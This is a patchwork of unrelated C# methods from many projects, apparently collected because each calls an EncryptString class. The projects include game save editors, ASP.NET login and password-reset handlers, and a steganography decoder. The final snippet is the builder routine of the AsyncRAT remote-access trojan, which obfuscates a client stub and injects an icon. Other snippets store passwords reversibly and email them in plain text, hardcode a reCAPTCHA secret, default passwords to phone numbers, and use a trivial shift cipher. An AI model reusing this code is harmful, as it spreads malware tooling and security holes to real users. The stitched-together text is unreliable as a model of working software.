public static XmlDocument GetXmlDocument(string absoluteFilePath) { XmlDocument result; if (!File.Exists(absoluteFilePath)) { Debug.Log("null"); result = null; } else { XmlDocument xmlDocument = new XmlDocument(); FileStream fileStream = new FileStream(absoluteFilePath, FileMode.Open, FileAccess.Read); BinaryReader binaryReader = new BinaryReader(fileStream); uint num = binaryReader.ReadUInt32(); if (4294967295u == num) { DateTime now = DateTime.Now; for (int i = 0; i <= 5120; i++) { int num2 = binaryReader.Read(XmlResAdapter.s_buffer, i * 1024, 1024); if (num2 < 1024) { byte[] array = new byte[1024 * i + num2]; Array.Copy(XmlResAdapter.s_buffer, array, array.Length); string xml = EncryptString.Decrypt(array, XmlResAdapter.s_encryptedKey); xmlDocument.LoadXml(xml); if ((DateTime.Now - now).TotalMilliseconds > 50.0) { } goto IL_129; } } fileStream.Close(); binaryReader.Close(); result = null; return(result); } xmlDocument.Load(absoluteFilePath); IL_129: fileStream.Close(); binaryReader.Close(); result = xmlDocument; } return(result); }
public void LoadSave(string path) { this.path = path; string slotJson = EncryptString.Decompress(File.ReadAllBytes(path)); dynamicSlotData = new DynamicSerializable <SlotData>(slotJson); var bootJson = EncryptString.Decompress(SlotData.m_Dict["boot"]); dynamicBoot = new DynamicSerializable <BootSaveGameFormat>(bootJson); OriginalRegion = Boot.m_SceneName.Value; var globalJson = EncryptString.Decompress(SlotData.m_Dict["global"]); dynamicGlobal = new DynamicSerializable <GlobalSaveGameFormat>(globalJson); Afflictions = new AfflictionsContainer(Global); }
public string GetPassword(string key, int iterations) { // if(string.IsNullOrEmpty(PasswordRaw)) // { // if(string.IsNullOrEmpty(Password)) // { // return ""; // } // // if (UsePasswordVariable) // { // return Password; // } return(EncryptString.Decrypt(Password, key, iterations)); // } // return PasswordRaw; }
IEnumerator GetTokenFromServer(string url) { WWW www = new WWW(url); yield return(www); if (string.IsNullOrEmpty(www.error)) { EncryptString es = JsonUtility.FromJson <EncryptString>(www.text); if (es.serverEnable == false) { PlayerPrefs.DeleteKey("encrypt"); passed = false; isCommand = false; deadTimeCount = 0f; } } }
private void FillData(AdminInfo entity) { entity.UserName = txtUserName.Value; entity.UserRole = UserRoleType.系统管理员; entity.Password = EncryptString.MD5(txtPassword.Value); entity.PasswordText = txtPassword.Value; entity.Realname = txtRealname.Value; entity.Mobile = txtMobile.Value; entity.QQ = txtQQ.Value; entity.Sex = DataConvert.SafeInt(rblSex.SelectedValue); entity.LastLoginIP = string.Empty; if (!entity.Administrator) { entity.CorporationID = DataConvert.SafeInt(ddlCorp.SelectedValue); entity.Corporation = ddlCorp.SelectedItem.Text; } entity.State = rblState.SelectedValue; }
protected override void Initialize(System.Web.Http.Controllers.HttpControllerContext controllerContext) { base.Initialize(controllerContext); var aspnet_user_id = User.Identity.GetUserId(); #region 判斷是管理端、用戶端登入 var getLoginUserFlag = controllerContext.Request.Headers.GetCookies("user_login").SingleOrDefault(); LoginUserFlag = getLoginUserFlag == null ? "" : EncryptString.desDecryptBase64(getLoginUserFlag["user_login"].Value); #endregion if (aspnet_user_id != null) { ApplicationUser aspnet_user = UserManager.FindById(aspnet_user_id); UserId = aspnet_user.Id; departmentId = aspnet_user.department_id; UserRoles = aspnet_user.Roles.Select(x => x.RoleId); } }
public ActionResult ChangePassWord(string mail, string code) { using (var db0 = getDB0()) { bool check = false; string dec_code = string.Empty; try { dec_code = EncryptString.desDecryptBase64(code); } catch (Exception ex) { string test = ex.ToString(); } var item = db0.TimeLinessCode.FirstOrDefault(x => x.Id == dec_code); if (mail == null || code == null || item == null) { check = true; } else if (!db0.Customer.Any(x => x.email == mail)) { check = true; } else if (DateTime.Now > item.i_ExpiryDateTime) {//超過有效期限 check = true; } else if (item.is_use) {//已使用過 check = true; } if (check) { return(Redirect("~/User/LinkFail")); } } return(View()); }
public Profile(string path) { this.path = path; var json = EncryptString.Decompress(File.ReadAllBytes(path)); // m_StatsDictionary is invalid json (unquoted keys), so fix it json = Regex.Replace(json, @"(\\*\""m_StatsDictionary\\*\"":\{)((?:[-0-9\.]+:\\*\""[-+0-9eE\.]+\\*\""\,?)+)(\})", delegate(Match match) { string jsonSubStr = Regex.Replace(match.Groups[2].ToString(), @"([-0-9]+):(\\*\"")", delegate(Match matchSub) { var escapeStr = matchSub.Groups[2].ToString(); return(escapeStr + matchSub.Groups[1].ToString() + escapeStr + @":" + escapeStr); }); return(match.Groups[1].ToString() + jsonSubStr + match.Groups[3].ToString()); }); dynamicState = new DynamicSerializable <ProfileState>(json); }
// Encryption/Decryption methods /// <summary> /// /// </summary> /// <param name="encryptKey"></param> /// <param name="randomSeed"></param> /// <param name="messageLength">-1 if the message length is not known</param> /// <returns></returns> public String decrypt(String encryptKey, String randomSeed, int messageLength) { String[] bytesArray = DataManipulation.linkedListToArray(binaryList); // more efficient for what is being done (accessing random elements inside the array) Random positionGenerator = getSeededRandom(randomSeed); Dictionary <int, Boolean> pixelsVisited = new Dictionary <int, bool>(); String message = ""; Boolean decodingErrorOccured = false; // System.Diagnostics.Debug.WriteLine("DECODING"); String binaryString = ""; while ((messageLength == -1 || message.Length < messageLength) && pixelsVisited.Count < numberOfPixels && !decodingErrorOccured) { LinkedList <char> encryptedBits = new LinkedList <char>(); int bitCounter = 0; while (bitCounter < byteSize) // get the byte size number of bits { int byteInPixelIndex = getUnvisitedByte(positionGenerator, pixelsVisited, colorOffset); String byteInPixel = bytesArray[byteInPixelIndex]; char bit = DataManipulation.getValueInBinaryByte(byteInPixel, byteSize - 1); encryptedBits.AddLast(bit); // the message is always embedded in the lsb binaryString += bit; bitCounter++; } EncryptString letterEncrypt = new EncryptString(encryptedBits, encryptKey, message.Length); // byteOffset = each letter represents one byte. when doing decryption, the position of the letter in the message matters, since this decrypts part by part and it was encrypted as a whole, an offset is necessary // keep trying to decrypt letter by letter because the message length is not known. stop decryption if error is thrown from byte to letter conversion (probably end of message) String letter = letterEncrypt.recreateStringFromBytes(); // could throw error because bytes might just be image bytes (message length is not known) char letterChar = letter.ToCharArray()[0]; if (Char.IsLetterOrDigit(letterChar) || Char.IsPunctuation(letterChar) || Char.IsWhiteSpace(letterChar)) { message += letter; } else // an unkonwn character was returned (AKA not a letter or number or punctuation) { decodingErrorOccured = true; } } // System.Diagnostics.Debug.WriteLine(binaryString); return(message); }
protected void btnSave_Click(object sender, EventArgs e) { using (CultureDataContext db = new CultureDataContext()) { User u = db.Users.FirstOrDefault(x => x.User_ID == ClientDetails.DeSerializeClientDetails(Session["User"].ToString()).ID); if (u != null) { if (u.User_Password == EncryptString.Encrypt(txtOldPassword.Text)) { u.User_Password = EncryptString.Encrypt(txtNewPassword.Text); db.SubmitChanges(); ScriptManager.RegisterStartupScript(this, GetType(), "alertUser", "$('body').removeClass('modal-open');alert('تم الحفظ بنجاح');", true); } else { ScriptManager.RegisterStartupScript(this, GetType(), "alertUser", "alert('عفوا، كلمة السر القديمة غير صحيحة');$('#changePasswordModal').modal('show');", true); } } } }
public User AddUser(User user) { using (ApplicationUnit unit = new ApplicationUnit()) { User loginUser = unit.Users.GetAll() .FirstOrDefault(usr => usr.Username.ToLower() == user.Username.ToLower()); if (loginUser == null) { string password = EncryptString.Encrypt(user.Password, "THEPROJECT"); user.Password = password; user.CreatedDate = DateTime.Now; user.ModifiedDate = DateTime.Now; unit.Users.Add(user); unit.SaveChanges(); return(user); } return(null); } }
// Use this for initialization void Start() { DontDestroyOnLoad(gameObject); EncryptString obj = JSON.JsonDecode(Decrypt(PlayerPrefs.GetString("encrypt", ""), "19911221", "19901125")); if (obj == null) { obj = new EncryptString(GetMac(), DateTime.Now.Date.ToShortDateString(), DateTime.Now.Date.AddDays(31).ToShortDateString()); PlayerPrefs.SetString("encrypt", Encrypt(JSON.JsonEncode(obj), "19911221", "19901125")); } passed = ValidateEncrypt(obj); string[] args = Environment.GetCommandLineArgs(); for (int i = 0; i < args.Length; i++) { if (args[i] == "-encrypt-debug") { isDebug = true; } } }
/// <summary> /// 企业用户登录 /// </summary> private void EPLogin() { string code = nv["code"]; string name = nv["name"]; string pwd = nv["pwd"]; if (string.IsNullOrEmpty(code) || string.IsNullOrEmpty(name) || string.IsNullOrEmpty(pwd)) { HttpContext.Current.Response.Write("error"); return; } E_User data = new E_User(); data.UserType = (int)MLMGC.DataEntity.User.UserType.企业用户; data.EnterpriseCode = code; data.UserName = name; data.Password = EncryptString.EncryptPassword(pwd);//加密 data = new MLMGC.BLL.User.T_User().UserLogin(data); if (data != null) { E_EnterpriseUser dataEU = new E_EnterpriseUser(); dataEU.EnterpriseID = data.EnterpriseID; dataEU.UserID = data.UserID; dataEU.UserName = data.UserName; dataEU.Password = data.Password; dataEU.EPUserTMRID = 0; new MLMGC.Security.EnterprisePage().Login(dataEU); //MLMGC.Security.ActiveUser.Instance.Login(data.UserID.ToString(), MLMGC.COMP.Requests.GetRealIP()); new MLMGC.BLL.Enterprise.T_Log().Add(new MLMGC.DataEntity.Enterprise.E_Log() { EnterpriseID = data.EnterpriseID, UserID = data.UserID, LogTitle = "登录", IP = MLMGC.COMP.Requests.GetRealIP() }); HttpContext.Current.Response.Write("1"); } else { HttpContext.Current.Response.Write("2"); } }
public IHttpActionResult forgotPWSendMail([FromUri] string email) { ResultInfo r = new ResultInfo(); try { db0 = getDB0(); if (!db0.Customer.Any(x => x.email == email)) { r.result = false; r.message = Resources.Res.Log_Err_EmailNoExist; return(Ok(r)); } //產生驗證 ResultInfo addcode = addCheckCode(email); if (!addcode.result) { r.result = false; r.message = addcode.message; return(Ok(r)); } ForgotPwEmail emd = new ForgotPwEmail() { mail = email, code = HttpUtility.UrlEncode(EncryptString.desEncryptBase64(addcode.no))//要加密 }; ResultInfo sendmail = (new EmailController()).sendForgotPWMail(emd); r = sendmail; } catch (Exception ex) { r.result = false; r.message = ex.ToString(); } finally { db0.Dispose(); } return(Ok(r)); }
public bool ResertPassword(string username) { using (ApplicationUnit unit = new ApplicationUnit()) { User foundUser = unit.Users.GetAll().FirstOrDefault(user => user.Username.ToLower() == username.ToLower()); if (foundUser != null) { string decriptedPassword = EncryptString.Decrypt(foundUser.Password, "THEPROJECT"); EmailService emailService = new EmailService(); //Send Email with Invoice Task sendEmailTask = new Task(() => emailService.SendResertPasswordEmail(foundUser.Email, decriptedPassword)); // Start the task. sendEmailTask.Start(); return(true); } return(false); } }
public void Save() { Backup(); LastSaved = DateTime.Now.Ticks; var bootSerialized = dynamicBoot.Serialize(); SlotData.m_Dict["boot"] = EncryptString.Compress(bootSerialized); Global.GameManagerData.SceneTransition.m_SceneSaveFilenameCurrent = Boot.m_SceneName.Value; Global.GameManagerData.SceneTransition.m_SceneSaveFilenameNextLoad = Boot.m_SceneName.Value; Global.PlayerManager.m_CheatsUsed = true; Afflictions.SerializeTo(Global); var globalSerialized = dynamicGlobal.Serialize(); SlotData.m_Dict["global"] = EncryptString.Compress(globalSerialized); SlotData.m_Timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture); var slotDataSerialized = dynamicSlotData.Serialize(); File.WriteAllBytes(this.path, EncryptString.Compress(slotDataSerialized)); }
protected override void Initialize(System.Web.Http.Controllers.HttpControllerContext controllerContext) { base.Initialize(controllerContext); var identity = User.Identity; //一定要有值 無值為系統出問題 #region 判斷是管理端、用戶端登入 //var getLoginUserFlag = controllerContext.Request.Headers.GetCookies(CommWebSetup.LoginType).SingleOrDefault(); //LoginUserFlag = getLoginUserFlag == null ? "" : // EncryptString.desDecryptBase64(getLoginUserFlag[CommWebSetup.LoginType].Value); #endregion if (identity.IsAuthenticated) { var FormsIdentity = (System.Web.Security.FormsIdentity)User.Identity; //一定要有值 無值為系統出問題 var id = EncryptString.desDecryptBase64(HttpUtility.UrlDecode(FormsIdentity.Ticket.Name)); //userid //取得權限 var roles = FormsIdentity.Ticket.UserData.Split(','); var roleId = roles.FirstOrDefault(); string[] r_s = new string[] { "Admins", "Managers" }; if (r_s.Contains(roleId)) {//管理端登入 LoginUserFlag = "N"; aspUserId = id; ApplicationUser aspnet_user = UserManager.FindById(aspUserId); UserId = aspnet_user.Id; departmentId = aspnet_user.department_id; UserRoles = aspnet_user.Roles.Select(x => x.RoleId); } else { LoginUserFlag = "Y"; UserId = id; //取得權限 UserRoles = FormsIdentity.Ticket.UserData.Split(','); } } }
/// <summary> /// 登陆密码加密 /// </summary> /// <param name="s">明文密码</param> /// <returns>加密后的密码</returns> private string jiami(string s) { Encoding ascii = Encoding.ASCII; string EncryptString; EncryptString = ""; for (int i = 0; i < s.Length; i++) { int j; byte[] b = new byte[1]; j = Convert.ToInt32(ascii.GetBytes(s[i].ToString())[0]); j = j + 6; b[0] = Convert.ToByte(j); EncryptString = EncryptString + ascii.GetString(b); } //如果密码中有'则换成9 string pwd1 = EncryptString.Replace("'", "9"); string pwd2 = pwd1.Replace("-", "9"); string pwd3 = pwd2.Replace("/", "9"); string newpwd = pwd3.Replace(" ", "9"); return(newpwd); }
/// <summary> /// 选中文件 /// </summary> /// <param name="file"></param> private void SelectFile(FileInfo file) { nowSelect = file; var data = new SlotData(); if (file.Extension == "") { pictureBox1.Visible = false; data = (SlotData)Item.DeserializeObject <SlotData>(EncryptString.DecompressBytesToString(File.ReadAllBytes(file.FullName))); Console.WriteLine(data.m_Dict["screenshot"].Length); var img = ((Screenshot)Item.DeserializeObject <Screenshot>(EncryptString.DecompressBytesToString(data.m_Dict["screenshot"]))).ToImage(); pictureBox1.Visible = true; pictureBox1.Image = img; } else if (file.Extension == ".png") { pictureBox1.Visible = true; pictureBox1.ImageLocation = file.FullName; var zipFile = ZipPath + file.NameWithoutExtension() + ".gz"; Console.WriteLine("file:" + zipFile); if (File.Exists(zipFile) == false) { MessageBox.Show("程序未找到文件:" + zipFile + "!\r\n请检查图片同名压缩包是否删除\r\n或者是否删除zippath文件夹", "错误", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } else { Item.UnZipFile(zipFile, TempFolder + file.NameWithoutExtension()); data = Item.DeserializeObject <SlotData>(EncryptString.DecompressBytesToString(File.ReadAllBytes(TempFolder + file.NameWithoutExtension()))); } } ShowData(data); var bootData = Item.DeserializeObject <BootData>(EncryptString.DecompressBytesToString(data.m_Dict["boot"])); var proxy = Item.DeserializeObject <GlobalDataFormat>(EncryptString.DecompressBytesToString(data.m_Dict["global"])); //Console.WriteLine(EncryptString.DecompressBytesToString(data.m_Dict["global"])); }
public RedirectResult Logout() { HttpContext.GetOwinContext().Authentication.SignOut(); string getLoginFlag = string.Empty; var getCookie = Request.Cookies["user_login"]; getLoginFlag = getCookie == null ? "Y" : EncryptString.desDecryptBase64(Server.UrlDecode(getCookie.Value)); //Value:N removeCookie("user_id"); removeCookie("user_name"); removeCookie("user_login"); SiteMaps.ReleaseSiteMap(); if (getLoginFlag == "Y") { return(Redirect("~")); } else { return(Redirect("~/_SysAdm?t=" + DateTime.Now.Ticks)); } }
public string GetValue(string key, int iterations) { string value; if (IsEncrypted) { if (string.IsNullOrEmpty(ValueRaw)) { if (string.IsNullOrEmpty(Value)) { value = ""; } else { value = EncryptString.Decrypt(Value, key, iterations); } } else { value = ValueRaw; } } else { value = Value; } if (IsEnvironmentVariable) { return(Environment.GetEnvironmentVariable(value)); } else { return(value); } }
/// <summary> /// 执行检查 /// </summary> /// <returns></returns> private bool GetCheckResult() { string field = Request["field"]; string validate = Request["validate"]; if (!string.IsNullOrEmpty(field) && !string.IsNullOrEmpty(validate)) { Account accountModel = AccountHelper.GetAccount(field, null); if (accountModel == null) { ChangePnlVisible(5, "验证错误!"); return(false); } string validatePWD = ""; try { validatePWD = EncryptString.Decrypt(validate); } catch (Exception ex) { ChangePnlVisible(5, "验证错误!"); return(false); } if (accountModel.Password != validatePWD) { ChangePnlVisible(5, "错误,此验证已过期!"); return(false); } ChangePnlVisible(3, accountModel.LoginName); } else { ChangePnlVisible(1, ""); } return(true); }
public string setOrder(Purchase md) { ResultInfo r = new ResultInfo(); r.result = true; r.hasData = true; //預設 HttpCookie cart = getCookie(this.CartSession); //改用cookie+json格式方式記錄購物車內容 try { #region 送出訂單 using (var db0 = getDB0()) { #region 產品不存在或下架 bool p_check = false; List <string> err = new List <string>(); foreach (var d in md.Deatil) { bool d_check = db0.ProductDetail.Any(x => x.product_detail_id == d.product_detail_id & x.product_id == d.product_id & x.Product.stock_state == (int)IStockState.on_store_shelves & x.stock_state == (int)IStockState.on_store_shelves & !x.Product.i_Hide); if (d_check) { var item = db0.ProductDetail.Find(d.product_detail_id); d.p_d_sn = item.sn; //產品料號 d.p_name = item.Product.product_name; //產品名稱 d.p_d_pack_name = item.pack_name; //產品包裝 d.price = item.price; //產品價格 d.sub_total = item.price * d.qty; } else { p_check = true; err.Add(d.p_name); } } if (p_check) {//有產品不存在或下架 r.result = false; r.message = string.Format(Resources.Res.Log_Err_AddCart_Exist, String.Join("、", err.ToArray())); return(defJSON(r)); } md.total = md.Deatil.Sum(x => x.sub_total) + md.ship_fee + md.bank_charges + md.discount; #endregion } #region 加入會員 if (!this.isLogin) { var customer = new Customer() { email = md.receive_email, c_pw = Server.UrlEncode(EncryptString.desEncryptBase64(md.receive_mobile)),//預設密碼改為手機 c_name = md.receive_name, tel = md.receive_tel, mobile = md.receive_mobile, zip = md.receive_zip, address = md.receive_address }; r = addCustomer(customer); if (r.result) { md.customer_id = r.id; } else {//會員註冊失敗 r.result = false; r.message = r.message; return(defJSON(r)); } } #endregion r = addPurchase(md); if (md.receive_email != null & r.result) {//寄送email var open = openLogic(); OrderEmail emd = new OrderEmail() { purchase = md, isLogin = this.isLogin, AccountName = (string)open.getParmValue(ParmDefine.AccountName), AccountNumber = (string)open.getParmValue(ParmDefine.AccountNumber), BankCode = (string)open.getParmValue(ParmDefine.BankCode), BankName = (string)open.getParmValue(ParmDefine.BankName) }; #region 信件發送 ResultInfo sendmail = (new EmailController()).sendOrderMail(emd); #endregion if (!sendmail.result) {//送信失敗 r.result = true; r.hasData = false; r.message = sendmail.message; } else { r.message = Resources.Res.Log_Success_Order; } #region 刪除Cookie if (cart != null) { cart.Expires = DateTime.Now.AddDays(-1); Response.AppendCookie(cart); } #endregion } #endregion } catch (Exception ex) { r.result = false; r.message = ex.Message; } return(defJSON(r)); }
/// <summary> /// 文件信息文件初始化 /// </summary> private void FolderInfoIniInit() { if (File.Exists(FolderInfoIni) == false) { File.Create(FolderInfoIni); var saveDatas = ""; var buckDatas = ""; var saveFiles = RemoveUsers(new DirectoryInfo(gameSavePath.val).GetFiles()); var buckFiles = RemoveUsers(new DirectoryInfo(buckUpPath.val).GetFiles()); foreach (var file in saveFiles) { SlotData data = new SlotData(); if (file.Extension == "") { data = Item.DeserializeObject <SlotData>(EncryptString.DecompressBytesToString(File.ReadAllBytes(file.FullName))); } else if (file.Extension == ".png") { var zipFile = ZipPath + file.NameWithoutExtension() + ".gz"; Console.WriteLine("file:" + zipFile); if (File.Exists(zipFile) == false) { //MessageBox.Show("程序未找到文件:" + zipFile + "!\r\n请检查图片同名压缩包是否删除\r\n或者是否删除zippath文件夹", "错误", MessageBoxButtons.OK, MessageBoxIcon.Warning); //return; //data = new SlotData(); } else { Item.UnZipFile(zipFile, TempFolder + file.NameWithoutExtension()); data = Item.DeserializeObject <SlotData>(EncryptString.DecompressBytesToString(File.ReadAllBytes(TempFolder + file.NameWithoutExtension()))); } } saveDatas += data.ToBigDatas(file, false).ToString(true); } foreach (var file in buckFiles) { SlotData data = new SlotData(); if (file.Extension == "") { data = Item.DeserializeObject <SlotData>(EncryptString.DecompressBytesToString(File.ReadAllBytes(file.FullName))); } else if (file.Extension == ".png") { var zipFile = ZipPath + file.NameWithoutExtension() + ".gz"; Console.WriteLine("file:" + zipFile); if (File.Exists(zipFile) == false) { //MessageBox.Show("程序未找到文件:" + zipFile + "!\r\n请检查图片同名压缩包是否删除\r\n或者是否删除zippath文件夹", "错误", MessageBoxButtons.OK, MessageBoxIcon.Warning); //return; //data = new SlotData(); } else { Item.UnZipFile(zipFile, TempFolder + file.NameWithoutExtension()); data = Item.DeserializeObject <SlotData>(EncryptString.DecompressBytesToString(File.ReadAllBytes(TempFolder + file.NameWithoutExtension()))); } } buckDatas += data.ToBigDatas(file, true).ToString(true); } AllFileInfo = new BigData("saveDatas", saveDatas).ToString() + new BigData("buckDatas", buckDatas).ToString(); var theFile = new FileInfo(FolderInfoIni).OpenWrite(); var sw = new StreamWriter(theFile); sw.Write(AllFileInfo); sw.Close(); theFile.Close(); } else { var theFile = new FileInfo(FolderInfoIni).OpenRead(); var sr = new StreamReader(theFile); AllFileInfo = sr.ReadToEnd(); sr.Close(); theFile.Close(); } }
public void DecryptBadText() { Assert.Throws <InvalidEncryptionTextException>(() => EncryptString.Decrypt("1231231", "key", 100)); }
public async Task <IHttpActionResult> Post([FromBody] Customer md) { md.customer_id = GetNewId(CodeTable.Customer); md.i_InsertDateTime = DateTime.Now; md.i_UpdateDateTime = DateTime.Now; md.i_Lang = "zh-TW"; md.c_pw = HttpUtility.UrlEncode(EncryptString.desEncryptBase64(md.mobile));//預設密碼改為手機 var r = new ResultInfo <Customer>(); if (!ModelState.IsValid) { r.message = ModelStateErrorPack(); r.result = false; return(Ok(r)); } try { #region working db0 = getDB0(); bool check_email = db0.Customer.Any(x => x.email == md.email); if (check_email) { r.result = false; r.message = Resources.Res.Log_Err_EmailExist; return(Ok(r)); } db0.Customer.Add(md); await db0.SaveChangesAsync(); RegisterEmail emd = new RegisterEmail() { mail = md.email, name = md.c_name }; ResultInfo sendmail = (new EmailController()).sendRegisterMail(emd); r.result = true; r.id = md.customer_id; return(Ok(r)); #endregion } catch (DbEntityValidationException ex) //欄位驗證錯誤 { r.message = getDbEntityValidationException(ex); r.result = false; return(Ok(r)); } catch (Exception ex) { r.result = false; r.message = ex.Message + "\r\n" + getErrorMessage(ex); return(Ok(r)); } finally { db0.Dispose(); } }
protected void btnSubmit_Click(object sender, EventArgs e) { if (Page.IsValid) { bool result = Admins.Instance.ChangePassword(HXContext.Current.AdminUserID, EncryptString.MD5(txtOldpassword.Value), EncryptString.MD5(txtPassword.Value)); if (!result) { WriteMessage("/message.aspx", "系统提示", "原密码错误!", "", "/center/safe.aspx"); } else { AdminInfo admin = Admins.Instance.GetAdmin(AdminID); admin.PasswordText = txtPassword.Value; Admins.Instance.UpdateAdmin(admin); WriteMessage("/message.aspx", "系统提示", "密码修改成功,请使用新密码登录!", "", "/logout.aspx"); } } }
/// <summary> /// 发送更改验证通知 /// </summary> /// <param name="accountId"></param> /// <param name="type"></param> public bool SendMailOfRetrieveTradePWD(string loginName) { try { MailHelper mailHelper = GetMailHelper(); if (mailHelper.AdminEmail.Length == 0) { lblMsg.Text = "<font color='red'>管理员邮箱未设置,请与管理员联系!</font>"; return(false); } Account account = AccountHelper.GetAccountByLoginName(loginName); MailMessageTemplate mt = new MailMessageTemplate("UserEmailConfig.xml", "密码找回通知"); string subject = mt.Subject.Replace("${LoginName}", account.LoginName); string message = mt.Body.Replace("${LoginName}", account.LoginName); HttpContext context = HttpContext.Current; string url = context.Request.Url.Scheme + "://" + context.Request.Url.Host + ":" + context.Request.Url.Port + "/retrievepassword.aspx?field=" + account.ID + "&validate=" + EncryptString.Encrypt(account.Password); message = message.Replace("${ValidateUrl}", string.Format("{0}", "<a href='" + url + "' target='_blank'>" + url + "</a>")); mailHelper.Send(account.Email, mailHelper.AdminEmail, subject, message, "Low"); return(true); } catch (Exception ex) { throw ex; } }
public async Task <string> ajax_Login(LoginViewModel model) { var userManager = UserManager; LoginResult getLoginResult = new LoginResult(); //if (!ModelState.IsValid) //{ // getLoginResult.result = false; // getLoginResult.message = "資訊不完整"; // return defJSON(getLoginResult); //} #region 驗證碼檢查程序 #if DEBUG getLoginResult.vildate = true; #else //if (string.IsNullOrEmpty(Session["CheckCode"].ToString())) //{ // Session["CheckCode"] = Guid.NewGuid(); // getLoginResult.result = false; // getLoginResult.message = Resources.Res.Log_Err_ImgValideNotEquel; // return defJSON(getLoginResult); //} //getLoginResult.vildate = Session["CheckCode"].Equals(model.validate) ? true : false; ValidateResponse Validate = ValidateCaptcha(model.validate, "6LexIhoTAAAAAL-SrVm8_fYcL7pTnovF4T7GozRx");//正式:6LexIhoTAAAAAL-SrVm8_fYcL7pTnovF4T7GozRx,Demo:6LfOXBcTAAAAAOqEElEieoCCTQmHAmtRfnqSS141 getLoginResult.vildate = Validate.Success; #endif if (!getLoginResult.vildate) { //Session["CheckCode"] = Guid.NewGuid(); //只要有錯先隨意產生唯一碼 以防暴力破解,新的CheckCode會在Validate產生。 getLoginResult.result = false; getLoginResult.message = Resources.Res.Log_Err_googleValideNotEquel; return(defJSON(getLoginResult)); } #endregion #region 帳密碼檢查 var result = await SignInManager.PasswordSignInAsync(model.account, model.password, model.rememberme, shouldLockout : false); if (result == SignInStatus.Failure) { getLoginResult.result = false; getLoginResult.message = Resources.Res.Login_Err_Password; return(defJSON(getLoginResult)); } getLoginResult.result = true; var item = await userManager.FindByNameAsync(model.account); if (isTablet) { getLoginResult.url = Url.Content(CommWebSetup.ManageDefCTR); //是行動裝置 } else { //不是行動裝置 var get_user_roles_id = item.Roles.Select(x => x.RoleId); ApplicationDbContext context = ApplicationDbContext.Create(); var roleManage = new RoleManager <IdentityRole>(new RoleStore <IdentityRole>(context)); var get_user_roles_name = roleManage.Roles.Where(x => get_user_roles_id.Contains(x.Id)).Select(x => x.Name); if (get_user_roles_name.Contains("Admins") || get_user_roles_name.Contains("Managers")) { getLoginResult.url = Url.Content(CommWebSetup.ManageDefCTR); } else { getLoginResult.url = Url.Content("~/Active/Sales/PersonalInfo"); } } Response.Cookies.Add(new HttpCookie(CommWebSetup.Cookie_UserName, item.UserName)); Response.Cookies.Add(new HttpCookie(CommWebSetup.Cookie_LastLogin, DateTime.Now.ToString("yyyy-MM-dd"))); #endregion //語系使用 HttpCookie WebLang = Request.Cookies[CommWebSetup.WebCookiesId + ".Lang"]; //WebLang.Value = model.lang; Response.Cookies.Add(WebLang); try { var db = getDB0(); var item_department = await db.Department.FindAsync(item.department_id); Response.Cookies.Add(new HttpCookie(CommWebSetup.Cookie_DepartmentId, item.department_id.ToString())); //Response.Cookies.Add(new HttpCookie(CommWebSetup.Cookie_DepartmentName, item_department.department_name)); Response.Cookies.Add(new HttpCookie("user_login", Server.UrlEncode(EncryptString.desEncryptBase64("N")))); var item_lang = db.i_Lang .Where(x => x.lang == WebLang.Value) .Select(x => new { x.area }) .Single(); ViewData["lang"] = item_lang.area; //Response.Cookies.Add(new HttpCookie(CommWebSetup.WebCookiesId + ".IsAuthorized", "OK"));//CKFinder Session["IsAuthorized"] = true;//ckfinder用 db.Dispose(); } catch (Exception ex) { getLoginResult.result = false; getLoginResult.message = ex.Message; return(defJSON(getLoginResult)); } return(defJSON(getLoginResult)); }
private async void BtnBuild_Click(object sender, EventArgs e) { if (!chkPastebin.Checked && listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) { return; } if (checkBox1.Checked) { if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) { return; } if (!textFilename.Text.EndsWith("exe")) { textFilename.Text += ".exe"; } } if (string.IsNullOrWhiteSpace(txtMutex.Text)) { txtMutex.Text = Guid.NewGuid().ToString().Substring(20); } if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) { return; } try { using (ModuleDefMD asmDef = ModuleDefMD.Load(@"Stub/Stub.exe")) using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) { saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; saveFileDialog1.InitialDirectory = Application.StartupPath; saveFileDialog1.OverwritePrompt = false; saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { btnBuild.Enabled = false; await Task.Run(() => { WriteSettings(asmDef); if (chkObfu.Checked) { EncryptString.DoEncrypt(asmDef); Renaming.DoRenaming(asmDef); } asmDef.Write(saveFileDialog1.FileName); asmDef.Dispose(); if (btnAssembly.Checked) { WriteAssembly(saveFileDialog1.FileName); } if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) { IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text); } }); MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); SaveSettings(); this.Close(); } } } catch (Exception ex) { MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); btnBuild.Enabled = true; } }